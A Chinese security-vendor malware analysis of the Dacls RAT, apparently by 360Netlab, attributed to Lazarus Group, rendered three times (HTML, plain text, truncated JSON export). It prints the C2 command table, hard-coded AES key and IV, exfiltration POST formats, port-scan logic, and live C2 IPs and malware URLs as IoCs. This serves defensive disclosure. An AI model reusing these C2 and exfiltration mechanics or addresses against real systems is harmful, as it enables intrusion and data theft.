<p>以下是0x00000700指令对应的网络序数据包示例：模式为0x00，指令2为0x07控制Bot上传主机名信息</p>
<table>
<thead>
<tr>
<th>指令1</th>
<th>指令2</th>
<th>模式</th>
<th>未知</th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>07</td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>第二种模式：当第3个字节为1，控制加载插件逻辑。</p>
<p>以下是0x00010101指令对应的网络序数据包示例：模式为0x01，指令1为0x01控制加载编号为1的插件</p>
<table>
<thead>
<tr>
<th>指令1</th>
<th>指令2</th>
<th>模式</th>
<th>未知</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>01</td>
<td>01</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>Bot收到指令后，执行成功返回0x20500，执行失败返回0x20600。</p>
<ul>
<li>C2指令表，Bot主逻辑部分</li>
</ul>
<table>
<thead>
<tr>
<th>Module</th>
<th>Cmd</th>
<th>Encrypt</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Core</td>
<td>0x00000601</td>
<td>Yes</td>
<td>上传C2配置信息</td>
</tr>
<tr>
<td>Core</td>
<td>0x00000602</td>
<td>Yes</td>
<td>下载配置信息保存到 <code>$HOME/.memcache</code></td>
</tr>
<tr>
<td>Core</td>
<td>0x00000700</td>
<td>Yes</td>
<td>要求Bot上传主机信息</td>
</tr>
<tr>
<td>Core</td>
<td>0x00000900</td>
<td>Yes</td>
<td>要求Bot发送心跳信息</td>
</tr>
</tbody>
</table>
<ul>
<li>C2指令表，Bot插件部分</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:center">Module</th>
<th>Cmd</th>
<th>Encrypt</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">/bin/bash</td>
<td>0x00010000</td>
<td>Yes</td>
<td>执行C2下发的bash命令</td>
</tr>
<tr>
<td style="text-align:center">/bin/bash</td>
<td>0x00010002</td>
<td>Yes</td>
<td>连接到指定的C2执行下发的系统命令</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010100</td>
<td>Yes</td>
<td>写文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010101</td>
<td>Yes</td>
<td>读文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010103</td>
<td>Yes</td>
<td>删除文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010104</td>
<td>Yes</td>
<td>扫描目录结构</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010110</td>
<td>Yes</td>
<td>从指定url下载文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010200</td>
<td>Yes</td>
<td>扫描并上传主机进程相关信息</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010201</td>
<td>Yes</td>
<td>杀死指定进程</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010202</td>
<td>Yes</td>
<td>创建daemon进程</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010204</td>
<td>Yes</td>
<td>获得并上报进程PID和PPID</td>
</tr>
<tr>
<td style="text-align:center">plugin_test</td>
<td>0x00010300</td>
<td>Yes</td>
<td>测试是否可以访问指定IP</td>
</tr>
<tr>
<td style="text-align:center">plugin_reverse_p2p</td>
<td>0x00010400</td>
<td>Yes</td>
<td>C2连接代理</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011100</td>
<td>Yes</td>
<td>测试是否可以访问Log服务器</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011101</td>
<td>Yes</td>
<td>上传公网端口扫描结果和命令执行输出</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011102</td>
<td>Yes</td>
<td>无操作</td>
</tr>
</tbody>
</table>
<ul>
<li>C2通信流程图<br>
<a href="__GHOST_URL__/content/images/2019/12/c2_connection.png"><img src="__GHOST_URL__/content/images/2019/12/c2_connection.png" class="kg-image"/></a></li>
</ul>
<h4 id="">插件模块</h4>
<p>Linux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起，通过发送不同的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件，由于插件的配置信息是一块连续的结构体数组(0x00~0x0e)。我们猜测Bot可能存在更多的插件。<br>
<a href="__GHOST_URL__/content/images/2019/12/plugin_num.png"><img src="__GHOST_URL__/content/images/2019/12/plugin_num.png" class="kg-image"/></a></p>
<p>每个插件都会有相应的配置信息，它们会保存在Bot的配置文件<code>$HOME/.memcache</code>中，在插件初始化时，加载这些配置信息。</p>
<h6 id="bash">Bash 插件</h6>
<p>Bash插件是编号为0的插件，主要支持两个功能：接收C2服务器的下发的系统命令并执行；C2通过指令下发临时C2，Bot然后连接到临时C2并执行临时C2下发的系统命令。<br>
<a href="__GHOST_URL__/content/images/2019/12/bash.png"><img src="__GHOST_URL__/content/images/2019/12/bash.png" class="kg-image"/></a></p>
<h6 id="file">File 插件</h6>
<p>File插件主要功能是文件管理，除了支持对文件的读，写，删除，查找操作，还可以从指定的下载服务器下载文件。<br>
<a href="__GHOST_URL__/content/images/2019/12/file.png"><img src="__GHOST_URL__/content/images/2019/12/file.png" class="kg-image"/></a></p>
<h6 id="process">Process 插件</h6>
<p>Process插件的主要功能是进程管理，包括：杀死指定进程，创建daemon进程，获得当前进程的PID和PPID，以及获取进程列表信息。<br>
<a href="__GHOST_URL__/content/images/2019/12/process.png"><img src="__GHOST_URL__/content/images/2019/12/process.png" class="kg-image"/></a></p>
<p>如果Linux进程中的PID对应的<code>/proc/<pid>/task</code>目录存在，Bot样本会收集如下进程信息：</p>
<ul>
<li>从<code>/proc/<pid>/cmdline</code>读取命令行全名</li>
<li>从<code>/proc/<pid>/status</code>中读取:</li>
</ul>
<pre><code>Name //进程名
Uid //用户ID
Gid //用户组ID
PPid //父进程ID
</code></pre>
<h6 id="test">Test插件</h6>
<p>Test插件的主要功能是通过连接C2指定的IP地址和端口，测试其网络连通性。<br>
<a href="__GHOST_URL__/content/images/2019/12/test.png"><img src="__GHOST_URL__/content/images/2019/12/test.png" class="kg-image"/></a></p>
<h6 id="reversep2p">Reverse P2P插件</h6>
<p>Reverse P2P插件实际上是一种C2连接代理（Connection Proxy），它通过下发控制命令可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降低被检测风险的技术手段，既可以减少目标主机连接数又可以隐藏目标主机和真实C2的通信数据，在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。</p>
<p>reverse_p2p插件初始化<br>
<a href="__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png"><img src="__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png" class="kg-image"/></a></p>
<p>当Bot收到指令后，先尝试连接指定的C2端口并发送0x21000指令，如果C2返回0x21300说明C2连接成功。此时Bot会连接指令中指定的目标主机端口，如果连接成功会返回0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据完整的转发给目标主机，同时将目标主机的返回数据完整的返回给C2，直至任何一方中断连接。<br>
以下是Reverse P2P插件工作流程图：<br>
<a href="__GHOST_URL__/content/images/2019/12/reverse_p2p.png"><img src="__GHOST_URL__/content/images/2019/12/reverse_p2p.png" class="kg-image"/></a></p>
<h6 id="logsend">LogSend 插件</h6>
<p>LogSend插件主要包括3个功能：测试连接Log服务器，随机扫描全网8291端口并上报给Log服务器，执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。</p>
<p>LogSend插件初始化<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_init.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_init.png" class="kg-image"/></a></p>
<p>LogSend相关操作回调函数<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend.png"><img src="__GHOST_URL__/content/images/2019/12/logsend.png" class="kg-image"/></a></p>
<p>测试连接Log服务器<br>
Bot收到指令后会向Log服务器发送一个测试请求。如果Log服务器返回<code>{"result":"ok"}</code>说明测试成功，此时C2就可以下发更多的LogSend指令。</p>
<p>使用C2指定的HTTP接口地址，内置的User-Agent，发送POST请求</p>
<pre><code>POST /%s HTTP/1.0
Host: %s
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cache-Control: no-cache
Connection: close
log=check
</code></pre>
<p>随机扫描全网8291端口并上报给Log服务器。</p>
<p>当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口，如果连接成功就向log server回传扫描结果。<br>
IP生成规则：</p>
<pre><code>ip = <part1>.<part2>.<part3>.<part4>
rule1: part1 != 127
rule2: part1 == 172 and (part2 <= 15 or part2 > 31)
rule3: part1 != 192 and part2 != 168
rule4: part1 != 10
</code></pre>
<p>随机IP生成算法如下<br>
<a href="__GHOST_URL__/content/images/2019/12/random_ip-1.png"><img src="__GHOST_URL__/content/images/2019/12/random_ip-1.png" class="kg-image"/></a></p>
<p>我们可以看到Bot硬编码TCP/8291端口，并调用系统connect函数进行端口扫描，只检测端口是否开放，不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作在TCP/8291端口上，并暴露在互联网上，之前我们也披露了2篇文章关于TCP/8291端口威胁事件<a href="__GHOST_URL__/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/">[1]</a><a href="__GHOST_URL__/quick-summary-port-8291-scan-en/">[2]</a>。<br>
<a href="__GHOST_URL__/content/images/2019/12/scan_8291.png"><img src="__GHOST_URL__/content/images/2019/12/scan_8291.png" class="kg-image"/></a></p>
<p>执行耗时较长的bash命令，并将控制台输出实时上报给Log服务器。<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_bash.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_bash.png" class="kg-image"/></a></p>
<p>执行bash命令并转发输出给Log服务器<br>
所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下：</p>
<p><code>log=save&session_id=<session id>&value=<log content></code><br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_payload.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_payload.png" class="kg-image"/></a></p>
<h3 id="">处置建议</h3>
<p>我们建议Confluence用户及时更新补丁，并根据Dacls RAT创建的进程，文件名以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。</p>
<p>我们建议读者对Dacls RAT相关IP，URL和域名进行监控和封锁。</p>
<p>相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h4 id="ioclist">IoC list</h4>
<p>样本MD5</p>
<pre><code>6de65fc57a4428ad7e262e980a7f6cc7
80c0efb9e129f7f9b05a783df6959812
982bf527b9fe16205fea606d1beed7fa
8910bdaaa6d3d40e9f60523d3a34f914
a99b7ef095f44cf35453465c64f0c70c
bea49839390e4f1eb3cb38d0fcaf897e
cef99063e85af8b065de0ffa9d26cb03
e883bf5fd22eb6237eb84d80bbcf2ac9
</code></pre>
<p>硬编码C2 IP：</p>
<pre><code>23.81.246.179 United States ASN19148 Leaseweb USA, Inc.
23.254.119.12 Canada ASN55286 B2 Net Solutions Inc.
23.227.196.116 United States ASN35017 Swiftway Sp. z o.o.
37.72.175.179 United States ASN29802 HIVELOCITY, Inc.
23.227.199.53 United States ASN35017 Swiftway Sp. z o.o.
107.172.197.175 United States ASN36352 ColoCrossing
172.93.201.219 United States ASN20278 Nexeon Technologies, Inc.
64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC
74.121.190.121 United States ASN23033 Wowrack.com
192.210.213.178 United States ASN36352 ColoCrossing
209.90.234.34 United States ASN23033 Wowrack.com
198.180.198.6 United States ASN26658 HT
</code></pre>
<p>URL</p>
<pre><code>http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们发现这个案例跟Lazarus Group有关，并决定深入分析它。
目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。
事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。
Dacls 概览
Dacls是一款新型的远程控制软件，包括Windows和Linux版本并共用C2协议，我们将它们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化，C2协议使用TLS和RC4双层加密，配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通过远程URL动态加载，而Linux版本的插件是直接编译在Bot程序里。我们已经确认在Linux.Dacls中包含6个插件模块：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描。
如何关联上 Lazarus Group
⾸先，我们通过样本80c0efb9e129f7f9b05a783df6959812中的硬编码字符串特征 c_2910.cls和k_3872.cls，在VirusTotal上找到了5个样本，我们从这些样本代码和相同的C2指令码上可以确认它们是同⼀套RAT程序，并且分别适⽤于Windows和Linux平台。
其中⼀个Win32.Dacls样本6de65fc57a4428ad7e262e980a7f6cc7，它的下载地址为https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi，在VirusTotal社区⽤户@raeezabdulla留⾔中将它标记为Lazarus Group，并引⽤了⼀篇报告《CES Themed Targeting from Lazarus》。然后，我们通过这个下载地址我们关联到另⼀个NukeSped样本b578ccf307d55d3267f98349e20ecff1，它的下载地址为http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi。在2019年10⽉份，这个NukeSped样本b578ccf307d55d3267f98349e20ecff1曾被推特⽤户@cyberwar_15标记为Lazarus Group。
另外，我们也在Google上搜到到很多Lazarus Group的分析报告和⼀些开源威胁情报数据，并指出thevagabondsatchel.com曾被Lazarus Group⽤于存放样本。
所以，我们推测Dacls RAT的幕后攻击者是Lazarus Group。
Downloader服务器
我们在疑似被感染的下载服务器http://www.areac-agr.com/cms/wp-content/uploads/2015/12/上找到了一系列样本，其中包括Win32.Dacls和Linux.Dacls，开源程序Socat，以及Confluence CVE-2019-3396 Payload。所以，我们推测Lazarus Group曾经利用CVE-2019-3396 N-day漏洞传播Dacls Bot程序。
MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector
MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot
MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat
逆向分析
Log Collector样本分析
* MD5: 982bf527b9fe16205fea606d1beed7fa
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
这个样本的功能很简单，它通过运行参数指定日志搜集接口然后收集目标主机信息。它会避开扫描一些指定的根目录和二级目录，并把检索到的文件路径写入 /tmp/hdv.log。
Avoid Scanning Root Directory
/bin
/boot
/dev
/etc
/lib
/lib32
/lib64
/lost+found
/sbin
/sys
/tmp
/proc
/run
Avoid Scanning Secondary Directory
/usr/bin
/usr/etc
/usr/games
/usr/include
/usr/lib
/usr/lib32
/usr/lib64
/usr/libexec
/usr/sbin
/usr/share
/usr/src
/usr/tmp
/var/adm
/var/cache
/var/crash
/var/db
/var/empty
/var/games
/var/gopher
/var/kerberos
/var/lock
/var/nis
/var/preserve
/var/run
/var/yp
日志记录格式示例
deep name type size last date
0 / D 0 000000000000
1 bin D 0 201911290628
2 bash F 1037528 201907121226
2 bunzip2 F 31352 201907040536
2 busybox F 1984584 201903070712
2 bzcat F 31352 201907040536
2 bzcmp F 2140 201907040536
....
最后通过执行系统tar命令把日志文件压缩tar -cvzf /tmp/hdv.rm /tmp/hdv.log 并上传到指定日志搜集接口。
Linux.Dacls样本分析
* MD5: 80c0efb9e129f7f9b05a783df6959812
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped
Linux.Dacls Bot主要功能包括：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描模块。
初始化行为
Linux.Dacls Bot启动后以daemon方式后台运行，并通过启动参数/pro，Bot PID文件/var/run/init.pid和Bot进程名/proc/<pid>/cmdline，来区分不同运行环境，我们猜测可能是用于Bot程序升级。
配置文件 .memcahce
Linux.Dacls Bot配置文件固定存放在$HOME/.memcache，文件内容固定为0x8E20+4个字节。如果Bot启动后找不到配置文件，就会根据样本中硬编码的信息，使用AES加密生成默认的配置文件，当Bot和C2 通信后还会继续更新配置文件。
数据结构
我们把配置文件的数据结构信息定义为struct_global_cfg，这里存放了Bot运行参数，C2信息，和插件信息等。
struct struct_plugin_cfg_data
{
int plugin_id;
int plugin_type;
int unk3;
char name[1040];
};
struct struct_c2_content
{
char content[2048];
};
struct struct_global_cfg
{
int session_id;
int unk_const1;
int sus_version_20190417;
int connect_retry_sleep_time;
char unk_array1[88];
int c2_num;
struct_c2_content c2_list[3];
char unknown_filed_186C[14340];
struct_plugin_cfg_data plug_cfg_data_list[15];
};
AES 加密算法
* AES，CBC Mode
* Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED
* IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92
解密配置文件
我们把配置文件解密后，可以看到配置文件中一些明文信息，例如：会话ID，版本信息，重新连接C2时间，C2信息等，当成功连接C2后配置文件会根据C2指令更新，比如在配置文件中增加Bot支持的插件信息，更新C2信息等。
C2 协议
Linux.Dacls Bot和C2通信主要分为3个阶段，并采用了TLS和RC4双层加密算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程（Malware Beaconing），第3阶段是Bot发送RC4加密后的数据。
SSL 连接
协议认证
建立SSL连接会发送若干次Beacon消息和C2互相确认身份。
Cmd
Direction
Encrypted
Description
0x20000
send
no
Beacon
0x20100
recv
no
Beacon
0x20200
send
no
Beacon
RC4 加密和解密流程
*
RC4 Key生成算法，完全由随机函数生成，Key长度范围：大于0且小于50
*
置换表生成算法，根据RC4 Key生成RC4加密用的置换表
*
加/解密算法，根据置换表生成算法完成加/解密，因为RC4是个对称加密算法，所以加/解密算法是一致的
*
RC4解密示例
在完成协议认证之后，Bot向C2发送RC4 Key长度（头4个字节）和 RC4 Key数据。
C2收到加密Key，向Bot发送密文，解密后为0x00000700指令，之后Bot就会上传主机名相关信息给C2。
Key:
a3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86
0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47
36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49
87
密文:
fe 3c 2c d7 bf 08 e3 91 d7 00 1f d0
明文:
00 07 00 00 00 00 00 00 00 00 00 00
C2指令码表
Linux.Dacls Bot接受的指令实际共12个字节，但实际有效大小为4个字节，并分成控制两种模式。
第一种模式：当第3个字节为0，控制Bot主逻辑。
以下是0x00000700指令对应的网络序数据包示例：模式为0x00，指令2为0x07控制Bot上传主机名信息
指令1
指令2
模式
未知
00
07
00
00
第二种模式：当第3个字节为1，控制加载插件逻辑。
以下是0x00010101指令对应的网络序数据包示例：模式为0x01，指令1为0x01控制加载编号为1的插件
指令1
指令2
模式
未知
01
01
01
00
Bot收到指令后，执行成功返回0x20500，执行失败返回0x20600。
* C2指令表，Bot主逻辑部分
Module
Cmd
Encrypt
Description
Core
0x00000601
Yes
上传C2配置信息
Core
0x00000602
Yes
下载配置信息保存到 $HOME/.memcache
Core
0x00000700
Yes
要求Bot上传主机信息
Core
0x00000900
Yes
要求Bot发送心跳信息
* C2指令表，Bot插件部分
Module
Cmd
Encrypt
Description
/bin/bash
0x00010000
Yes
执行C2下发的bash命令
/bin/bash
0x00010002
Yes
连接到指定的C2执行下发的系统命令
plugin_file
0x00010100
Yes
写文件
plugin_file
0x00010101
Yes
读文件
plugin_file
0x00010103
Yes
删除文件
plugin_file
0x00010104
Yes
扫描目录结构
plugin_file
0x00010110
Yes
从指定url下载文件
plugin_process
0x00010200
Yes
扫描并上传主机进程相关信息
plugin_process
0x00010201
Yes
杀死指定进程
plugin_process
0x00010202
Yes
创建daemon进程
plugin_process
0x00010204
Yes
获得并上报进程PID和PPID
plugin_test
0x00010300
Yes
测试是否可以访问指定IP
plugin_reverse_p2p
0x00010400
Yes
C2连接代理
logsend
0x00011100
Yes
测试是否可以访问Log服务器
logsend
0x00011101
Yes
上传公网端口扫描结果和命令执行输出
logsend
0x00011102
Yes
无操作
* C2通信流程图
插件模块
Linux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起，通过发送不同的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件，由于插件的配置信息是一块连续的结构体数组(0x00~0x0e)。我们猜测Bot可能存在更多的插件。
每个插件都会有相应的配置信息，它们会保存在Bot的配置文件$HOME/.memcache中，在插件初始化时，加载这些配置信息。
Bash 插件
Bash插件是编号为0的插件，主要支持两个功能：接收C2服务器的下发的系统命令并执行；C2通过指令下发临时C2，Bot然后连接到临时C2并执行临时C2下发的系统命令。
File 插件
File插件主要功能是文件管理，除了支持对文件的读，写，删除，查找操作，还可以从指定的下载服务器下载文件。
Process 插件
Process插件的主要功能是进程管理，包括：杀死指定进程，创建daemon进程，获得当前进程的PID和PPID，以及获取进程列表信息。
如果Linux进程中的PID对应的/proc/<pid>/task目录存在，Bot样本会收集如下进程信息：
* 从/proc/<pid>/cmdline读取命令行全名
* 从/proc/<pid>/status中读取:
Name //进程名
Uid //用户ID
Gid //用户组ID
PPid //父进程ID
Test插件
Test插件的主要功能是通过连接C2指定的IP地址和端口，测试其网络连通性。
Reverse P2P插件
Reverse P2P插件实际上是一种C2连接代理（Connection Proxy），它通过下发控制命令可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降低被检测风险的技术手段，既可以减少目标主机连接数又可以隐藏目标主机和真实C2的通信数据，在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。
reverse_p2p插件初始化
当Bot收到指令后，先尝试连接指定的C2端口并发送0x21000指令，如果C2返回0x21300说明C2连接成功。此时Bot会连接指令中指定的目标主机端口，如果连接成功会返回0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据完整的转发给目标主机，同时将目标主机的返回数据完整的返回给C2，直至任何一方中断连接。
以下是Reverse P2P插件工作流程图：
LogSend 插件
LogSend插件主要包括3个功能：测试连接Log服务器，随机扫描全网8291端口并上报给Log服务器，执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。
LogSend插件初始化
LogSend相关操作回调函数
测试连接Log服务器
Bot收到指令后会向Log服务器发送一个测试请求。如果Log服务器返回{"result":"ok"}说明测试成功，此时C2就可以下发更多的LogSend指令。
使用C2指定的HTTP接口地址，内置的User-Agent，发送POST请求
POST /%s HTTP/1.0
Host: %s
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cache-Control: no-cache
Connection: close
log=check
随机扫描全网8291端口并上报给Log服务器。
当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口，如果连接成功就向log server回传扫描结果。
IP生成规则：
ip = <part1>.<part2>.<part3>.<part4>
rule1: part1 != 127
rule2: part1 == 172 and (part2 <= 15 or part2 > 31)
rule3: part1 != 192 and part2 != 168
rule4: part1 != 10
随机IP生成算法如下
我们可以看到Bot硬编码TCP/8291端口，并调用系统connect函数进行端口扫描，只检测端口是否开放，不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作在TCP/8291端口上，并暴露在互联网上，之前我们也披露了2篇文章关于TCP/8291端口威胁事件[1][2]。
执行耗时较长的bash命令，并将控制台输出实时上报给Log服务器。
执行bash命令并转发输出给Log服务器
所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下：
log=save&session_id=<session id>&value=<log content>
处置建议
我们建议Confluence用户及时更新补丁，并根据Dacls RAT创建的进程，文件名以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。
我们建议读者对Dacls RAT相关IP，URL和域名进行监控和封锁。
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5
6de65fc57a4428ad7e262e980a7f6cc7
80c0efb9e129f7f9b05a783df6959812
982bf527b9fe16205fea606d1beed7fa
8910bdaaa6d3d40e9f60523d3a34f914
a99b7ef095f44cf35453465c64f0c70c
bea49839390e4f1eb3cb38d0fcaf897e
cef99063e85af8b065de0ffa9d26cb03
e883bf5fd22eb6237eb84d80bbcf2ac9
硬编码C2 IP：
23.81.246.179 United States ASN19148 Leaseweb USA, Inc.
23.254.119.12 Canada ASN55286 B2 Net Solutions Inc.
23.227.196.116 United States ASN35017 Swiftway Sp. z o.o.
37.72.175.179 United States ASN29802 HIVELOCITY, Inc.
23.227.199.53 United States ASN35017 Swiftway Sp. z o.o.
107.172.197.175 United States ASN36352 ColoCrossing
172.93.201.219 United States ASN20278 Nexeon Technologies, Inc.
64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC
74.121.190.121 United States ASN23033 Wowrack.com
192.210.213.178 United States ASN36352 ColoCrossing
209.90.234.34 United States ASN23033 Wowrack.com
198.180.198.6 United States ASN26658 HT
URL
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们发现这个案例跟Lazarus Group有关，并决定深入分析它。\n\n目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。\n\n事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。\n\n## Dacls 概览\nDacls是一款新型的远程控制软件，包括Windows和Linux版本并共用C2协议，我们将它们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化，C2协议使用TLS和RC4双层加密，配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通过远程URL动态加载，而Linux版本的插件是直接编译在Bot程序里。我们已经确认在Linux.Dacls中包含6个插件模块：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描。\n\n### 如何关联上 Lazarus Group\n⾸先，我们通过样本```80c0efb9e129f7f9b05a783df6959812```中的硬编码字符串特征 ```c_2910.cls```和```k_3872.cls```，在VirusTotal上找到了5个样本，我们从这些样本代码和相同的C2指令码上可以确认它们是同⼀套RAT程序，并且分别适⽤于Windows和Linux平台。\n\n其中⼀个Win32.Dacls样本```6de65fc57a4428ad7e262e980a7f6cc7```，它的下载地址为```https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi```，在VirusTotal社区⽤户@raeezabdulla留⾔中将它标记为Lazarus 